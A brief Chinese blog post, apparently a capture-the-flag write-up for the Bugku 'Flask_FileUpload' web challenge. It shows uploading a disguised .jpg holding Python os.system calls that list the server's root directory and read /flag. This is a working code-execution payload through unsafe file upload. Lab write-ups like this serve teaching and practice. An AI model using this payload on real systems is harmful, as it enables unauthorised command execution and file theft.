技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
头茬韭菜
3 分钟前
第 3 篇:「Pydantic 即 Schema」—— 工具生态三层解剖
前端·chrome·ai·openmanus
测试1998
8 分钟前
Jmeter接口自动化生成测试报告html格式详解
自动化测试·python·测试工具·jmeter·职场和发展·测试用例·接口测试
pjj19854
8 分钟前
Hadoop-python中使用大数据
大数据·hadoop·python
小刘在重生~
10 分钟前
Django|Excel 批量上传、Form/ModelForm 文件上传、Media 媒体文件配置
python·django·excel
威联通安全存储
22 分钟前
TS-h1887XU-RP 在模具制造行业试模与改模数据场景的部署
python·制造
恋猫de小郭
23 分钟前
Flutter 状态管理基准测评,一个很有趣的观点
android·前端·flutter
步行cgn
26 分钟前
Spring Environment 详解:Spring Boot 配置管理的核心接口
spring boot·python·spring
雪芽蓝域zzs
29 分钟前
前端编辑组件wangEditor
前端
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02GitHub 镜像站点03历年考研数学一、数学二、数学三真题试卷及答案PDF04蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接052026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?06ZCode 周末送额度活动开启:3 亿 Token 免费领取07微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新08Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费09AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路10VSCode+CodeX扩展,无法启动